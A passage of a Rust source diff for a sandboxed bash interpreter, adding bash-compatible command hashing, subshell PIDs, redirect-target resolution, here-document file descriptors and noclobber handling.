Interpreter { self.condition_sequence_depth += usize::from(followed_by_conditional_op); let result = self.execute_command(cmd).await; self.condition_sequence_depth -= usize::from(followed_by_conditional_op); - let result = result?; + let mut result = result?; + if self.merge_stderr { + Self::merge_stderr_into_stdout(&mut result); + } self.maybe_emit_output(&result.stdout, &result.stderr, emit_before); stdout.append(&result.stdout); stderr.append(&result.stderr); @@ -7342,6 +7398,7 @@ impl Interpreter { // repeats per function nesting level (THREAT[TM-DOS-020]). Box::pin(async move { let mut stderr = String::new(); + self.temp_path = has_command && assignments.iter().any(|a| a.name == "PATH"); for assignment in assignments { match &assignment.value { AssignmentValue::Scalar(word) => { @@ -7430,6 +7487,10 @@ impl Interpreter { } } } + // A command of assignments only leaves `$_` empty (bash). + if !has_command && !assignments.is_empty() { + self.insert_variable_checked("_".to_string(), String::new()); + } Ok(stderr) }) } @@ -7612,6 +7673,7 @@ impl Interpreter { let snapshot = Box::new(self.snapshot_subshell_state()); let last_exit_code = self.last_exit_code; self.bash_subshell += 1; + self.enter_subshell_pid(); self.xtrace_depth += 1; self.enter_nofork_scope(&commands, true, 0); let mut run = Ok(()); @@ -7658,6 +7720,7 @@ impl Interpreter { } } } + self.temp_path = false; } /// `set -x` line prefix: PS4 expanded like bash's prompt strings @@ -7713,6 +7776,7 @@ impl Interpreter { &'a mut self, name: &'a str, args: &'a [String], + redirected: bool, ) -> std::pin::Pin + Send + 'a>> { Box::pin(async move { let prefix = self.xtrace_prefix().await; @@ -7732,8 +7796,12 @@ impl Interpreter { // A function body, `eval` and `source` stream their own output as // they run, which makes the enclosing list skip streaming this // command's result: write the queued lines now (they stay queued - // for the returned result). - if matches!(name, "eval" | "source" | ".") || self.scoped.functions.contains_key(name) { + // for the returned result). Not when the command's own output + // redirects hold that streaming back (`f 2>&1`). + if !redirected + && (matches!(name, "eval" | "source" | ".") + || self.scoped.functions.contains_key(name)) + { let pending = self.subst_stderr.clone(); let before = self.output_emit_count; self.maybe_emit_output(&crate::StreamData::new(), &pending, before); @@ -7961,7 +8029,8 @@ impl Interpreter { } if self.is_xtrace_enabled() { - self.trace_simple_command(&name, &args).await; + let redirected = Self::has_output_redirect(&command.redirects); + self.trace_simple_command(&name, &args, redirected).await; } self.nofork_now = self.nofork_eligible(command); @@ -8081,6 +8150,57 @@ impl Interpreter { }) } + /// `execute_dispatched_command` for a command whose redirects need + /// resolving first: targets that may split (one word or an ambiguous + /// redirect) and `N<( + &'a mut self, + name: &'a str, + args: Vec, + command: &'a SimpleCommand, + stdin: Option, + ) -> std::pin::Pin> + Send + 'a>> { + Box::pin(async move { + // `> $f` / `> out-*`: one word or an ambiguous redirect. + match self + .resolve_split_redirect_targets(&command.redirects) + .await? + { + Ok(None) => {} + Ok(Some(redirects)) => { + let command = SimpleCommand { + redirects, + ..command.clone() + }; + return self + .execute_dispatched_command(name, args, &command, stdin) + .await; + } + Err(failed) => { + self.last_exit_code = failed.exit_code; + return Ok(failed); + } + } + // `cmd 3<, ) -> std::pin::Pin> + Send + 'a>> { Box::pin(async move { + // Split targets and per-command here-doc fds: rare, so the work + // sits in its own boxed future, off this hot frame (TM-DOS-089). + if redirection::needs_redirect_prep(name, &command.redirects) { + return self + .execute_dispatched_with_redirect_prep(name, args, command, stdin) + .await; + } // `cmd {fd}>file`: bash never undoes a `{var}` redirection, so it // opens a descriptor in the shell like `exec` would. `exec` // itself applies its redirects in order. @@ -8156,7 +8283,14 @@ impl Interpreter { }; // Track $_ (last argument of previous command, from already-expanded args) if let Some(last) = args.last() { - self.insert_variable_checked("_".to_string(), last.clone()); + // `declare a=(1 2)`: the operand placeholder stands for `a`. + let last = if last.contains(declare::COMPOUND_MARK) { + let name = last.split('=').next().unwrap_or(last); + name.trim_end_matches('+').to_string() + } else { + last.clone() + }; + self.insert_variable_checked("_".to_string(), last); } else { self.insert_variable_checked("_".to_string(), name.to_string()); } @@ -8480,6 +8614,7 @@ impl Interpreter { // Clone the Arc out of the map so the call doesn't hold a borrow on // self.builtins while we take &mut self for the execution body. let builtin = self.builtins.get(name).unwrap().clone(); + self.hash_builtin_use(name); self.execute_builtin_arc( name, builtin, @@ -8490,6 +8625,41 @@ impl Interpreter { ) } + /// A registered builtin that real bash runs from `PATH` (`whoami`, `ls`) + /// is hashed as bash hashes the program; its file is looked up only when + /// `hash`/`type` shows it. Shell builtins never are; `set +h` stops it. + fn hash_builtin_use(&mut self, name: &str) { + if self.temp_path + || builtins::BASH_BUILTIN_NAMES.contains(&name) + || ENV_SHELL_ONLY_BUILTINS.contains(&name) + || self + .scoped + .variables + .get("SHOPT_h") + .is_some_and(|v| v == "0") + { + return; + } + Arc::make_mut(&mut self.scoped.command_hash).hit(name, None); + } + + /// The operands after `-v` in a `test`/`[` call that name set variables + /// (see `ShellRef::set_vars`). + /// Kept in `test_set_vars` (not a local) so the hot builtin frame does + /// not grow (TM-DOS-089). + fn test_v_probe(&mut self, name: &str, args: &[String]) { + if !matches!(name, "test" | "[") { + self.test_set_vars.clear(); + return; + } + let set: Vec = args + .windows(2) + .filter(|w| w[0] == "-v" && self.cond_var_is_set(&w[1])) + .map(|w| w[1].clone()) + .collect(); + self.test_set_vars = set; + } + /// Execute a builtin resolved via the host-owned [`BuiltinRegistry`]. fn execute_host_builtin<'a>( &'a mut self, @@ -8581,6 +8751,7 @@ impl Interpreter { self.execution_budget.consume_work(100)?; } + self.test_v_probe(name, args); // Check for execution plan first { let execution_extensions = self.current_execution_extensions(); @@ -8595,6 +8766,8 @@ impl Interpreter { var_attrs: Arc::make_mut(&mut self.scoped.var_attrs), namerefs: Arc::make_mut(&mut self.scoped.namerefs), dir_stack: Arc::make_mut(&mut self.scoped.dir_stack), + command_hash: Arc::make_mut(&mut self.scoped.command_hash), + set_vars: &self.test_set_vars, call_stack: &self.call_stack, history: &self.history, limits: &self.limits, @@ -8666,6 +8839,8 @@ impl Interpreter { var_attrs: Arc::make_mut(&mut self.scoped.var_attrs), namerefs: Arc::make_mut(&mut self.scoped.namerefs), dir_stack: Arc::make_mut(&mut self.scoped.dir_stack), + command_hash: Arc::make_mut(&mut self.scoped.command_hash), + set_vars: &self.test_set_vars, call_stack: &self.call_stack, history: &self.history, limits: &self.limits, @@ -9073,14 +9248,19 @@ impl Interpreter { Ok(raw) => raw, Err(failed) => return self.redirect_result(failed, redirects).await, }; - // A root-filesystem stub (`/usr/bin/env`) runs the builtin it names. - if let Some(cmd) = crate::fs::stub_command(&raw) - && self.builtins.contains_key(cmd) - { - let cmd = cmd.to_string(); - return self - .execute_registered_builtin(&cmd, args, stdin.as_ref(), redirects) - .await; + // A root-filesystem stub (`/usr/bin/env`) runs the builtin it names; + // `/bin/bash` starts a child shell as `bash` does. + if let Some(cmd) = crate::fs::stub_command(&raw) { + if matches!(cmd, "bash" | "sh") { + let cmd = cmd.to_string(); + return Box::pin(self.execute_shell(&cmd, args, stdin, redirects)).await; + } + if self.builtins.contains_key(cmd) { + let cmd = cmd.to_string(); + return self + .execute_registered_builtin(&cmd, args, stdin.as_ref(), redirects) + .await; + } } let content = decode_file_bytes_for_path(&path, &raw); @@ -9112,6 +9292,14 @@ impl Interpreter { 127, ) }; + // A component past NAME_MAX fails before any lookup (execve's + // ENAMETOOLONG), which bash reports as status 126. + if path.components().any(|c| c.as_os_str().len() > 255) { + return Err(ExecResult::err( + self.diag(format!("{name}: File name too long\n")), + 126, + )); + } let meta = self.fs.stat(path).await.map_err(|_| missing())?; if meta.file_type.is_dir() { return Err(ExecResult::err( @@ -9156,7 +9344,23 @@ impl Interpreter { if !self.shell_features.has_script_execution() { return None; } + if let Some(path) = self + .scoped + .command_hash + .get(name) + .and_then(|e| e.path.clone()) + { + return Some(path); + } + self.search_path_file(name).await + } + /// bash's `find_user_command`: the first executable `name` along `PATH`, + /// else the first regular file of that name (which then fails with + /// "Permission denied"). Relative entries (`_tmp`, and an empty one for + /// `.`) are searched from the current directory and kept relative in the + /// result, as bash shows them. + async fn search_path_file(&self, name: &str) -> Option { let path_var = self .scoped .variables @@ -9164,25 +9368,28 @@ impl Interpreter { .or_else(|| self.env.get("PATH")) .cloned() .unwrap_or_default(); - + let mut fallback = None; for dir in path_var.split(':') { - if dir.is_empty() { + let candidate = builtins::path_candidate(dir, name); + let Ok(meta) = self.fs.stat(&self.resolve_path(&candidate)).await else { + continue; + }; + if !meta.file_type.is_file() { continue; } - let candidate = PathBuf::from(dir).join(name); - if let Ok(meta) = self.fs.stat(&candidate).await { - if meta.file_type.is_dir() { - continue; - } - if meta.mode & 0o111 == 0 { - continue; - } - return Some(candidate.to_string_lossy().to_string()); + if meta.mode & 0o111 != 0 { + return Some(candidate); } + fallback.get_or_insert(candidate); } - None + fallback } + /// Run `name` from `$PATH`: its hashed file if `hash` remembers one, else + /// the file the search finds (which is then hashed). `Ok(None)` when no + /// file matches (the caller reports "command not found"). A hashed file + /// that is gone fails with "No such file or directory" (bash does not + /// search again until `hash -r`). async fn try_execute_script_via_path_search( &mut self, name: &str, @@ -9190,38 +9397,54 @@ impl Interpreter { stdin: Option, redirects: &[Redirect], ) -> Result> { - let path_var = self + let hashed = self .scoped - .variables - .get("PATH") - .or_else(|| self.env.get("PATH")) - .cloned() - .unwrap_or_default(); - - for dir in path_var.split(':') { - if dir.is_empty() { - continue; + .command_hash + .get(name) + .filter(|_| !self.temp_path) + .and_then(|e| e.path.clone()); + let found = match hashed { + Some(path) => path, + None => match self.search_path_file(name).await { + Some(path) => path, + None => return Ok(None), + }, + }; + if !self.temp_path + && self + .scoped + .variables + .get("SHOPT_h") + .is_none_or(|v| v != "0") + { + Arc::make_mut(&mut self.scoped.command_hash).hit(name, Some(found.clone())); + } + let resolved = self.resolve_path(&found); + let raw = match self.read_executable(&found, &resolved).await { + Ok(raw) => raw, + Err(failed) => return self.redirect_result(failed, redirects).await.map(Some), + }; + // A root-filesystem stub (`/usr/bin/env`) runs the builtin it names; + // `/bin/bash` starts a child shell as `bash` does. + if let Some(cmd) = crate::fs::stub_command(&raw) { + if matches!(cmd, "bash" | "sh") { + let cmd = cmd.to_string(); + return Box::pin(self.execute_shell(&cmd, args, stdin, redirects)) + .await + .map(Some); } - let candidate = PathBuf::from(dir).join(name); - if let Ok(meta) = self.fs.stat(&candidate).await { - if meta.file_type.is_dir() { - continue; - } - if meta.mode & 0o111 == 0 { - continue; - } - if let Ok(content) = self.fs.read_file(&candidate).await { - let script_text = decode_file_bytes_for_path(&candidate, &content); - let resolved = candidate.to_string_lossy(); - let result = self - .execute_script_content(&resolved, &script_text, args, stdin, redirects) - .await?; - return Ok(Some(result)); - } + if self.builtins.contains_key(cmd) { + let cmd = cmd.to_string(); + return self + .execute_registered_builtin(&cmd, args, stdin.as_ref(), redirects) + .await + .map(Some); } } - - Ok(None) + let script_text = decode_file_bytes_for_path(&resolved, &raw); + self.execute_script_content(&found, &script_text, args, stdin, redirects) + .await + .map(Some) } /// Parse and execute script content in a new call frame. @@ -9301,7 +9524,10 @@ impl Interpreter { self.scoped.var_attrs = Arc::new(HashMap::new()); self.scoped.namerefs = Arc::new(HashMap::new()); self.flags = BashFlags::empty(); - self.coproc_buffers.clear(); + // The child inherits the readable fds the parent opened (`exec 3log` printed x's output and logged it), + // as for `bash -c` and functions. + let region = self.enter_output_region(redirects); let result = self.execute_script_body(&script, true, false).await; + self.leave_output_region(region); self.interactive = saved_interactive; self.current_line = saved_line; self.loop_depth = saved_loop_depth; @@ -9395,6 +9626,22 @@ impl Interpreter { args: &[String], redirects: &[Redirect], ) -> Result { + // `source -- FILE` drops the `--`; any other leading `-x` is an + // invalid option (status 2), as in bash. + let args = match args.first().map(String::as_str) { + Some("--") => &args[1..], + Some(flag) if flag.len() > 1 && flag.starts_with('-') => { + let c = flag[1..].chars().next().unwrap_or('-'); + let msg = self.diag(format!( + "{name}: -{c}: invalid option\n\ + {name}: usage: {name} filename [arguments]\n" + )); + return self + .redirect_result(ExecResult::err(msg, 2), redirects) + .await; + } + _ => args, + }; let filename = match args.first() { Some(f) => f, None => { @@ -9433,11 +9680,26 @@ impl Interpreter { .or_else(|| self.env.get("PATH")) .cloned() .unwrap_or_default(); - for dir in path_var.split(':') { + // `shopt -u sourcepath` turns the PATH search off (on by default). + let sourcepath = self + .scoped + .variables + .get("SHOPT_sourcepath") + .is_none_or(|v| v != "0"); + for dir in path_var.split(':').filter(|_| sourcepath) { if dir.is_empty() { continue; } - let candidate = PathBuf::from(dir).join(filename); + // Relative entries (`dir`) are searched from the cwd. + let candidate = self.resolve_path(&builtins::path_candidate(dir, filename)); + if !self + .fs + .stat(&candidate) + .await + .is_ok_and(|m| m.file_type.is_file()) + { + continue; + } if let Ok(c) = self.fs.read_file(&candidate).await { found = Some(decode_file_bytes_for_path(&candidate, &c)); break; @@ -9518,7 +9780,9 @@ impl Interpreter { self.source_depth += 1; let emit_before = self.output_emit_count; self.xtrace_depth += 1; + let region = self.enter_output_region(redirects); let mut exec_result = self.execute_script_body(&script, false, true).await; + self.leave_output_region(region); self.xtrace_depth -= 1; if let Ok(r) = &mut exec_result { Box::pin(self.run_return_trap(r, emit_before)).await; @@ -9569,6 +9833,24 @@ impl Interpreter { stdin: Option, redirects: &[Redirect], ) -> Result { + // bash's `eval` takes no options but still parses them: a leading + // `--` is dropped and `-x` is an invalid option (status 2). A bare + // `-` is an ordinary word. + let args = match args.first().map(String::as_str) { + Some("--") => &args[1..], + Some(flag) if flag.len() > 1 && flag.starts_with('-') => { + let c = flag[1..].chars().next().unwrap_or('-'); + let result = ExecResult::err( + format!( + "{}eval: -{c}: invalid option\neval: usage: eval [arg ...]\n", + self.diag_prefix() + ), + 2, + ); + return self.redirect_result(result, redirects).await; + } + _ => args, + }; if args.is_empty() { return Ok(ExecResult::ok(String::new())); } @@ -9604,7 +9886,9 @@ impl Interpreter { let saved_line_base = std::mem::replace(&mut self.line_base, self.current_line.saturating_sub(1)); self.xtrace_depth += 1; + let region = self.enter_output_region(redirects); let result = self.execute_script_body(&script, false, true).await; + self.leave_output_region(region); self.xtrace_depth -= 1; self.line_base = saved_line_base; let mut result = result?; @@ -9994,17 +10278,7 @@ impl Interpreter { // Output the call's redirects will route must not stream from the // body first (`f > out` printed `out` too), as for compounds. - let has_output_redirect = redirects.iter().any(|r| { - !matches!( - r.kind, - RedirectKind::Input | RedirectKind::HereDoc | RedirectKind::HereString - ) - }); - let saved_callback = if has_output_redirect { - self.output_callback.take() - } else { - None - }; + let region = self.enter_output_region(redirects); // Execute function body. Always restore call state even on error. // The body starts outside any loop (bash resets `loop_level`). @@ -10023,9 +10297,7 @@ impl Interpreter { self.leave_function_traps(saved_traps); self.line_base = saved_line_base; self.loop_depth = saved_loop_depth; - if let Some(cb) = saved_callback { - self.output_callback = Some(cb); - } + self.leave_output_region(region); if capture_pending_fd { self.pending_fd_capture_depth = self.pending_fd_capture_depth.saturating_sub(1); if result.is_err() { @@ -10074,7 +10346,6 @@ impl Interpreter { // from inside the function must not prevent the caller's set -e from // firing on the function's non-zero exit code. result.errexit_suppressed = false; - self.apply_redirections(result, redirects).await } @@ -10719,7 +10990,22 @@ impl Interpreter { /// /// This is the interpreter hook that fulfills sub-command execution requests /// from builtins like `timeout`, `xargs`, and `find -exec`. - async fn execute_builtin_plan( + fn execute_builtin_plan<'a>( + &'a mut self, + plan: builtins::ExecutionPlan, + redirects: &'a [Redirect], + ) -> std::pin::Pin> + Send + 'a>> { + Box::pin(async move { + // Output a redirect routes must not stream first + // (`env sh -c ... >&2`, `make 2>&1`, `find -exec ... > out`). + let region = self.enter_output_region(redirects); + let result = self.execute_builtin_plan_inner(plan, redirects).await; + self.leave_output_region(region); + result + }) + } + + async fn execute_builtin_plan_inner( &mut self, plan: builtins::ExecutionPlan, redirects: &[Redirect], @@ -10775,19 +11061,6 @@ impl Interpreter { chdir, } => Box::pin(self.execute_env_plan(command, clear, unset, set, chdir)).await?, builtins::ExecutionPlan::Driver(mut driver) => { - // Output that will be redirected must not stream first - // (`make 2>&1`, `find -exec ... > out`). - let redirected = redirects.iter().any(|r| { - !matches!( - r.kind, - RedirectKind::Input | RedirectKind::HereDoc | RedirectKind::HereString - ) - }); - let outer_callback = if redirected { - self.output_callback.take() - } else { - None - }; let mut last = None; let result = loop { let step = match driver.next(last.take()).await { @@ -10834,9 +11107,6 @@ impl Interpreter { builtins::PlanStep::Done(result) => break Ok(result), } }; - if outer_callback.is_some() { - self.output_callback = outer_callback; - } result? } builtins::ExecutionPlan::Batch { commands } => { @@ -11195,6 +11465,7 @@ impl Interpreter { let snapshot = Box::new(self.snapshot_subshell_state()); let last_exit_code = self.last_exit_code; self.bash_subshell += 1; + self.enter_subshell_pid(); self.xtrace_depth += 1; self.enter_nofork_scope(commands, true, 0); let mut failed = None; @@ -11285,12 +11556,18 @@ impl Interpreter { last_bg_pid: self.last_bg_pid.clone(), seconds_base: self.seconds_base, bash_subshell: self.bash_subshell, + bashpid: self.bashpid, xtrace_depth: self.xtrace_depth, err_trap_dormant: self.err_trap_dormant, line_base: self.line_base, } } + /// A subshell gets a `$BASHPID` of its own (restored with the snapshot). + fn enter_subshell_pid(&mut self) { + self.bashpid = self.jobs.lock().alloc_pid(); + } + /// Entering a subshell environment (`( )`, `$( )`, a pipeline stage): /// without `set -E` the ERR trap stays listed but no longer runs. fn enter_subshell_err_scope(&mut self) { @@ -11313,6 +11590,7 @@ impl Interpreter { self.last_bg_pid = snap.last_bg_pid; self.seconds_base = snap.seconds_base; self.bash_subshell = snap.bash_subshell; + self.bashpid = snap.bashpid; self.xtrace_depth = snap.xtrace_depth; self.err_trap_dormant = snap.err_trap_dormant; self.line_base = snap.line_base; @@ -11416,6 +11694,22 @@ impl Interpreter { if let Some(stderr) = self.disabled_redirect_error(redirects) { return Ok(ExecResult::err(stderr, 1)); } + match self.resolve_split_redirect_targets(redirects).await? { + Ok(None) => {} + Ok(Some(resolved)) => { + return self + .execute_compound_with_redirects(compound, &resolved) + .await; + } + Err(failed) => return Ok(failed), + } + if let Some((scope, remaining)) = self.open_here_fds(redirects).await? { + let result = self + .execute_compound_with_redirects(compound, &remaining) + .await; + self.close_here_fds(scope); + return result; + } if redirects.iter().any(|r| r.fd_var.is_some()) { let remaining = match self.apply_named_fd_redirects(redirects).await? { Ok(remaining) => remaining, @@ -11472,17 +11766,7 @@ impl Interpreter { // Suspend output callback while output redirects are active // so that maybe_emit_output inside the compound body does not // leak output that will be redirected (e.g. `{ cmd; } 2>/dev/null`). - let has_output_redirect = redirects.iter().any(|r| { - !matches!( - r.kind, - RedirectKind::Input | RedirectKind::HereDoc | RedirectKind::HereString - ) - }); - let saved_callback = if has_output_redirect { - self.output_callback.take() - } else { - None - }; + let region = self.enter_output_region(redirects); let has_dup_output = redirects.iter().any(|r| r.kind == RedirectKind::DupOutput); let has_file_redirect = redirects.iter().any(|r| { @@ -11509,12 +11793,9 @@ impl Interpreter { self.clear_pending_fd_redirect_state(); } } - let result = result?; - // Restore callback before applying redirections - if let Some(cb) = saved_callback { - self.output_callback = Some(cb); - } + self.leave_output_region(region); + let result = result?; if let Some(prev) = prev_pipeline_stdin { self.pipeline_stdin = prev; @@ -11538,7 +11819,10 @@ impl Interpreter { // Command substitution runs in a subshell: snapshot all // mutable state so mutations don't leak to the parent. let snapshot = self.snapshot_subshell_state(); + // Its stdout is captured; its stderr goes to the caller's fd 2. + let saved_merge = std::mem::replace(&mut self.merge_stderr, false); self.bash_subshell += 1; + self.enter_subshell_pid(); self.xtrace_depth += 1; self.enter_subshell_err_scope(); // The outer command's queued stderr must not pass through the @@ -11654,6 +11938,7 @@ impl Interpreter { } self.release_held_subst_stderr(held_stderr); self.restore_subshell_state(snapshot); + self.merge_stderr = saved_merge; self.counters.pop_subst(); self.subst_generation += 1; let trimmed_len = stdout.trim_end_matches('\n').len(); @@ -11754,6 +12039,10 @@ impl Interpreter { if resolved == "SRANDOM" { return; } + // Assigning PATH empties the command hash table (bash). + if resolved == "PATH" && !self.scoped.command_hash.is_empty() { + Arc::make_mut(&mut self.scoped.command_hash).clear(); + } // Assigning OPTIND restarts `getopts` within an option group. if resolved == "OPTIND" { self.getopts_char_idx = 0; @@ -12473,11 +12762,17 @@ impl Interpreter { return String::new(); } // THREAT[TM-INF-014]: Return sandboxed PID, not real host PID. - // `$BASHPID` is the same: subshells and jobs report the shell's - // pid too (they have no process of their own). - "$" | "BASHPID" => { + "$" => { return "1".to_string(); } + // A subshell's own virtual pid (`$$` stays the shell's). + "BASHPID" => { + return if self.bashpid == 0 { + "1".to_string() + } else { + self.bashpid.to_string() + }; + } "!" => { // $! - PID of most recent background command // In Bashkit's virtual environment, background jobs run synchronously @@ -12534,6 +12829,9 @@ impl Interpreter { "BASH_SUBSHELL" => { return self.bash_subshell.to_string(); } + // The enabled `set -o` / `shopt` options, colon-separated. + "SHELLOPTS" => return builtins::shellopts_value(&self.scoped.variables), + "BASHOPTS" => return builtins::bashopts_value(&self.scoped.variables), "SECONDS" => { let (start, base) = self.seconds_base; let elapsed = i64::try_from(start.elapsed().as_secs()).unwrap_or(i64::MAX); @@ -12592,6 +12890,8 @@ impl Interpreter { | "BASH_VERSION" | "SECONDS" | "BASH_SUBSHELL" + | "SHELLOPTS" + | "BASHOPTS" ) { return true; } diff --git a/crates/bashkit/src/interpreter/redirection.rs b/crates/bashkit/src/interpreter/redirection.rs index 2f256bc0f..bedaac429 100644 --- a/crates/bashkit/src/interpreter/redirection.rs +++ b/crates/bashkit/src/interpreter/redirection.rs @@ -21,7 +21,188 @@ use super::*; use crate::error::io_error_reason; +/// A redirect target that brace expansion, word splitting or pathname +/// expansion could turn into other than one word (`> $f`, `> out-*`, +/// `> a-{1,2}`). Plain and quoted words skip the field pass. +fn redirect_target_may_split(redirect: &Redirect) -> bool { + if !matches!( + redirect.kind, + RedirectKind::Output + | RedirectKind::Clobber + | RedirectKind::Append + | RedirectKind::OutputBoth + | RedirectKind::Input + | RedirectKind::ReadWrite + | RedirectKind::DupOutput + | RedirectKind::DupInput + ) || redirect.fd_var.is_some() + { + return false; + } + let word = &redirect.target; + if word.quoted && !word.has_unquoted_glob { + return false; + } + word.parts.iter().any(|part| match part { + WordPart::Literal(text) => text.contains(['*', '?', '[', '{', '(', '\\']), + _ => true, + }) +} + +/// `N<= 3: a readable fd for the command's body. +fn high_fd_here(redirect: &Redirect) -> bool { + matches!( + redirect.kind, + RedirectKind::HereDoc | RedirectKind::HereDocStrip | RedirectKind::HereString + ) && redirect.fd_var.is_none() + && redirect.fd.is_some_and(|fd| fd >= 3) +} + +/// A boxed interpreter future (kept off the caller's poll stack). +type BoxedFuture<'a, T> = + std::pin::Pin> + Send + 'a>>; + +/// Readable fds a command's here-documents opened, and what they replaced. +pub(super) struct HereFdScope { + saved: Vec<(i32, Option)>, +} + +/// Whether a simple command's redirects need resolving before it runs: +/// a target that may split, `1<&M`, or (except for `exec`) a here-doc fd. +pub(super) fn needs_redirect_prep(name: &str, redirects: &[Redirect]) -> bool { + redirects.iter().any(|r| { + redirect_target_may_split(r) || output_dup_input(r) || (name != "exec" && high_fd_here(r)) + }) +} + +/// `1<&M` / `2<&M`: a dup written with the input arrow on an output fd. +fn output_dup_input(redirect: &Redirect) -> bool { + redirect.kind == RedirectKind::DupInput + && redirect.fd_var.is_none() + && matches!(redirect.fd, Some(1 | 2)) +} + impl Interpreter { + /// Open the `N<= 3) fds of `redirects` for the + /// command's duration, so a function, script or group body reads them + /// with `<&N` (`f 3<( + &'a mut self, + redirects: &'a [Redirect], + ) -> BoxedFuture<'a, Option<(HereFdScope, Vec)>> { + Box::pin(async move { + if !redirects.iter().any(high_fd_here) { + return Ok(None); + } + let mut saved = Vec::new(); + let mut remaining = Vec::with_capacity(redirects.len()); + for redirect in redirects { + let Some(fd) = redirect.fd.filter(|_| high_fd_here(redirect)) else { + remaining.push(redirect.clone()); + continue; + }; + // A failure closes what this command already opened. + let opened = match self.expand_word(&redirect.target).await { + Ok(content) => self.ensure_persistent_fd_capacity(fd).map(|()| content), + Err(e) => Err(e), + }; + let mut content = match opened { + Ok(content) => content, + Err(e) => { + self.close_here_fds(HereFdScope { saved }); + return Err(e); + } + }; + if redirect.kind == RedirectKind::HereString { + content.push('\n'); + } + let lines = coproc::InputFd::Lines(reversed_lines(&content)); + saved.push((fd, self.coproc_buffers.insert(fd, lines))); + } + Ok(Some((HereFdScope { saved }, remaining))) + }) + } + + /// Close the fds `open_here_fds` opened, restoring what they shadowed. + pub(super) fn close_here_fds(&mut self, scope: HereFdScope) { + for (fd, previous) in scope.saved.into_iter().rev() { + match previous { + Some(buf) => { + self.coproc_buffers.insert(fd, buf); + } + None => { + self.coproc_buffers.remove(&fd); + } + } + } + } + + /// bash expands a redirect target like a command word (braces, splitting, + /// globbing) and needs exactly one word back: none or several is an + /// "ambiguous redirect", an unmatched glob under `failglob` is "no match". + /// Either way the command does not run (`Err` carries its result). + /// Targets that may split are expanded here once and replaced by the + /// resulting literal, so later stages do not expand them again. + pub(super) fn resolve_split_redirect_targets<'a>( + &'a mut self, + redirects: &'a [Redirect], + ) -> BoxedFuture<'a, std::result::Result>, ExecResult>> { + Box::pin(async move { + if !redirects + .iter() + .any(|r| redirect_target_may_split(r) || output_dup_input(r)) + { + return Ok(Ok(None)); + } + let mut resolved = redirects.to_vec(); + for redirect in resolved.iter_mut() { + // `1<&2` duplicates like `1>&2` (bash's dup2 does not care + // about the arrow on an output fd). + if output_dup_input(redirect) { + redirect.kind = RedirectKind::DupOutput; + } + if !redirect_target_may_split(redirect) { + continue; + } + let word = redirect.target.clone(); + let mut words = Vec::new(); + let braced = self.brace_expand_word(&word); + for part in braced.as_deref().unwrap_or(std::slice::from_ref(&word)) { + let fields = self.expand_word_to_fields(part).await?; + if part.quoted && !part.has_unquoted_glob { + words.extend(fields); + continue; + } + for field in fields { + match self + .expand_glob_item(&field, part.quoted && part.has_unquoted_glob) + .await + { + Ok(items) => words.extend(items), + Err(pat) => { + return Ok(Err(ExecResult::err( + self.diag(format!("no match: {pat}\n")), + 1, + ))); + } + } + } + } + if words.len() != 1 { + let label = redirect_target_label(&word); + return Ok(Err(ExecResult::err( + self.redirect_error(&label, "ambiguous redirect"), + 1, + ))); + } + redirect.target = Word::quoted_literal(words.pop().unwrap_or_default()); + } + Ok(Ok(Some(resolved))) + }) + } + /// A target written with a trailing slash names a directory, so an /// output redirect to it fails without creating anything. `resolve_path` /// drops the slash, so the check has to run on the word as written. @@ -177,17 +358,37 @@ impl Interpreter { // command reads of a coproc's output. match self.coproc_buffers.get_mut(&src) { Some(coproc::InputFd::Lines(buf)) => { - stdin = Some( - buf.pop() - .map(|line| format!("{line}\n")) - .unwrap_or_default() - .into(), - ); + // As much as the command reads: `read` a line, + // `cat` the rest, `true` nothing. + let take = match demand { + StdinDemand::Nothing => 0, + StdinDemand::Line => 1, + StdinDemand::Lines(n) => n, + StdinDemand::Bytes(_) | StdinDemand::All => buf.len(), + }; + let mut text = String::new(); + for _ in 0..take.min(buf.len()) { + if let Some(line) = buf.pop() { + text.push_str(&line); + text.push('\n'); + } + } + stdin = Some(text.into()); } Some(coproc::InputFd::Pipe(end)) => { let pipe = Arc::clone(&end.0); stdin = Some(Box::pin(coproc::read_coproc_input(pipe, demand)).await); } + // `<&5` with fd 5 never opened (or closed): bash + // reports it and does not run the command. + None if src >= 3 + && !self.exec_fd_table.contains_key(&src) + && !self.exec_input_fds.contains(&src) => + { + return Err(crate::error::Error::CommandFailure( + self.redirect_error(&target, "Bad file descriptor"), + )); + } None => {} } } @@ -439,6 +640,13 @@ impl Interpreter { } else if is_dev_null(&path) { result.stdout = crate::StreamData::new(); result.stderr = crate::StreamData::new(); + } else if self.clobber_refused(&path).await { + result.stdout = crate::StreamData::new(); + result.stderr = self + .redirect_error(target_path, "cannot overwrite existing file") + .into(); + result.exit_code = 1; + return Ok(false); } else { let mut combined = result.stdout.as_bytes().to_vec(); combined.extend_from_slice(result.stderr.as_bytes()); @@ -456,6 +664,12 @@ impl Interpreter { Ok(true) } + /// `set -C`: `&>file` (like `>file`) may not truncate an existing file. + async fn clobber_refused(&self, path: &Path) -> bool { + self.scoped.variables.get("SHOPT_C").map(String::as_str) == Some("1") + && self.fs.stat(path).await.is_ok_and(clobber_protected) + } + /// `N>&-` on the fast path: fd N is closed for the command. Writes to /// a closed stderr vanish; output to a closed stdout fails the command /// with a write error, as in bash. @@ -668,6 +882,15 @@ impl Interpreter { self.dup_output_fd_table(2, 1, &mut fd1, &mut fd2); continue; } + if self.clobber_refused(&path).await { + result.stdout = crate::StreamData::new(); + result.stderr = self + .redirect_error(&target_path, "cannot overwrite existing file") + .into(); + result.exit_code = 1; + self.clear_pending_fd_redirect_state(); + return Ok(result); + } let target = if is_dev_null(&path) { FdTarget::DevNull } else { @@ -811,6 +1034,66 @@ impl Interpreter { } /// Whether any redirect opens a file on fd 3 or above (`3>f`, `9>>lock`). +/// Whether `redirects` leave fd 1 and fd 2 writing to the same place +/// (`2>&1`, `>f 2>&1`, `&>f`, `>&f`), worked out in order on the words as +/// written. `None` when none of them touches fd 1 or 2 (the caller's state +/// stands); a target only known after expansion (`>&$fd`) counts as apart. +pub(super) fn stdout_stderr_joined(redirects: &[Redirect]) -> Option { + #[derive(Clone, Copy, PartialEq)] + enum Dest { + Fd(i32), + Opened(usize), + Unknown, + } + let mut fds = [Dest::Fd(1), Dest::Fd(2)]; + let mut touched = false; + for (i, r) in redirects.iter().enumerate() { + if r.fd_var.is_some() { + continue; + } + let literal = match r.target.parts.as_slice() { + [WordPart::Literal(t)] => Some(t.as_str()), + _ => None, + }; + let (fd, dest) = match r.kind { + RedirectKind::Output | RedirectKind::Clobber | RedirectKind::Append => { + (r.fd.unwrap_or(1), 